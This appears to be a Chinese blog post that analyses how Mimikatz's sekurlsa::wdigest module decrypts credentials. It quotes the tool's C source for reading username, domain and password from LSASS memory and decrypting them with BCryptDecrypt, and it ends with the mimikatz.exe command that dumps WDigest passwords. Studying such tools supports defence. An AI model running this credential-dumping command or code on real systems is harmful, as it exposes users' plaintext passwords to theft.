如果 l_LogSessList 中的 LocallyUniqueIdentifier 与之前获取到的 LogonSessionList 中的登录 ID 相等,则进入 kuhl_m_sekurlsa_genericCredsOutput() 函数打印凭据信息,如下所示。

  1. VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, ULONG flags)
  2. {
  3. PUNICODE_STRING username = NULL, domain = NULL, password = NULL;
  4. PKIWI_CREDENTIAL_KEYS pKeys = NULL;
  5. PKERB_HASHPASSWORD_GENERIC pHashPassword;
  6. UNICODE_STRING buffer;
  7. DWORD type, i;
  8. BOOL isNull = FALSE;
  9. PWSTR sid = NULL;
  10. PBYTE msvCredentials;
  11. const MSV1_0_PRIMARY_HELPER * pMSVHelper;
  12. #if defined(_M_X64) || defined(_M_ARM64)
  13. DWORD cbLsaIsoOutput;
  14. PBYTE lsaIsoOutput;
  15. PLSAISO_DATA_BLOB blob = NULL;
  16. #endif
  17. SHA_CTX shaCtx;
  18. SHA_DIGEST shaDigest;
  19. if(mesCreds)
  20. {
  21. ConvertSidToStringSid(pData->pSid, &amp;sid);
  22. if(flags &amp; KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL)
  23. {
  24. // ...
  25. }
  26. else if(flags &amp; KUHL_SEKURLSA_CREDS_DISPLAY_CLOUDAP_PRT)
  27. {
  28. // ...
  29. }
  30. else if(flags &amp; KUHL_SEKURLSA_CREDS_DISPLAY_PINCODE)
  31. {
  32. // ...
  33. }
  34. else if(flags &amp; KUHL_SEKURLSA_CREDS_DISPLAY_KEY_LIST)
  35. {
  36. // ...
  37. }
  38. else
  39. {
  40. // ...
  41. if(mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer || mesCreds->Password.Buffer)
  42. {
  43. if(kull_m_process_getUnicodeString(&amp;mesCreds->UserName, cLsass.hLsassMem) &amp;&amp; kull_m_string_suspectUnicodeString(&amp;mesCreds->UserName))
  44. {
  45. if(!(flags &amp; KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN))
  46. username = &amp;mesCreds->UserName;
  47. else
  48. domain = &amp;mesCreds->UserName;
  49. }
  50. if(kull_m_process_getUnicodeString(&amp;mesCreds->Domaine, cLsass.hLsassMem) &amp;&amp; kull_m_string_suspectUnicodeString(&amp;mesCreds->Domaine))
  51. {
  52. if(!(flags &amp; KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN))
  53. domain = &amp;mesCreds->Domaine;
  54. else
  55. username = &amp;mesCreds->Domaine;
  56. }
  57. if(kull_m_process_getUnicodeString(&amp;mesCreds->Password, cLsass.hLsassMem) /*&amp;&amp; !kull_m_string_suspectUnicodeString(&amp;mesCreds->Password)*/)
  58. {
  59. if(!(flags &amp; KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* &amp;&amp; *lsassLocalHelper->pLsaUnprotectMemory*/)
  60. (*lsassLocalHelper->pLsaUnprotectMemory)(mesCreds->Password.Buffer, mesCreds->Password.MaximumLength);
  61. password = &amp;mesCreds->Password;
  62. }
  63. if(password || !(flags &amp; KUHL_SEKURLSA_CREDS_DISPLAY_WPASSONLY))
  64. {
  65. kprintf((flags &amp; KUHL_SEKURLSA_CREDS_DISPLAY_LINE) ?
  66. L"%wZ\t%wZ\t"
  67. :
  68. L"\n\t * Username : %wZ"
  69. L"\n\t * Domain : %wZ"
  70. L"\n\t * Password : "
  71. , username, domain);
  72. if(password)
  73. {
  74. if(kull_m_string_suspectUnicodeString(password))
  75. {
  76. if((flags &amp; KUHL_SEKURLSA_CREDS_DISPLAY_CREDMANPASS))
  77. kprintf(L"%.*s", password->Length / sizeof(wchar_t), password->Buffer);
  78. else kprintf(L"%wZ", password);
  79. }
  80. else kull_m_string_wprintf_hex(password->Buffer, password->Length, 1);
  81. }
  82. // ...
  83. else kprintf(L"(null)");
  84. if(username)
  85. kuhl_m_sekurlsa_trymarshal(username);
  86. }
  87. // ...
  88. }
  89. }
  90. if(flags &amp; KUHL_SEKURLSA_CREDS_DISPLAY_NEWLINE)
  91. kprintf(L"\n");
  92. if(sid)
  93. LocalFree(sid);
  94. }
  95. else kprintf(L"LUID KO\n");
  96. }

该函数先打印 WDigest 凭据中的用户名和域名,最后使用 *lsassLocalHelper->pLsaUnprotectMemory 指向的函数对凭据中的用户密码进行解密,在这里是 kuhl_m_sekurlsa_nt6_LsaUnprotectMemory() 函数,该函数定义如下。

  1. VOID WINAPI kuhl_m_sekurlsa_nt6_LsaUnprotectMemory(IN PVOID Buffer, IN ULONG BufferSize)
  2. {
  3. kuhl_m_sekurlsa_nt6_LsaEncryptMemory((PUCHAR) Buffer, BufferSize, FALSE);
  4. }

跟进 kuhl_m_sekurlsa_nt6_LsaEncryptMemory() 函数,如下所示,该函数对 BCryptEncrypt()BCryptDecrypt() 函数进行封装,二者利用提供的初始化向量和密钥,分别对指定内存的数据块进行加密和解密。

  1. NTSTATUS kuhl_m_sekurlsa_nt6_LsaEncryptMemory(PUCHAR pMemory, ULONG cbMemory, BOOL Encrypt)
  2. {
  3. NTSTATUS status = STATUS_NOT_FOUND;
  4. BCRYPT_KEY_HANDLE *hKey;
  5. BYTE LocalInitializationVector[16];
  6. ULONG cbIV, cbResult;
  7. PBCRYPT_ENCRYPT cryptFunc = Encrypt ? BCryptEncrypt : BCryptDecrypt;
  8. RtlCopyMemory(LocalInitializationVector, InitializationVector, sizeof(InitializationVector));
  9. if(cbMemory % 8)
  10. {
  11. hKey = &amp;kAes.hKey;
  12. cbIV = sizeof(InitializationVector);
  13. }
  14. else
  15. {
  16. hKey = &amp;k3Des.hKey;
  17. cbIV = sizeof(InitializationVector) / 2;
  18. }
  19. __try
  20. {
  21. status = cryptFunc(*hKey, pMemory, cbMemory, 0, LocalInitializationVector, cbIV, pMemory, cbMemory, &amp;cbResult, 0);
  22. }
  23. __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){}
  24. return status;
  25. }

最后将解密后的密码打印出来。

Let’s see it in action

  1. mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit

image-20230512112354722

  • 发表于 2023-07-26 09:00:00
  • 阅读 ( 6324 )
  • 分类:内网渗透

0 条评论

Marcus_Holloway
Marcus_Holloway

22 篇文章

站长统计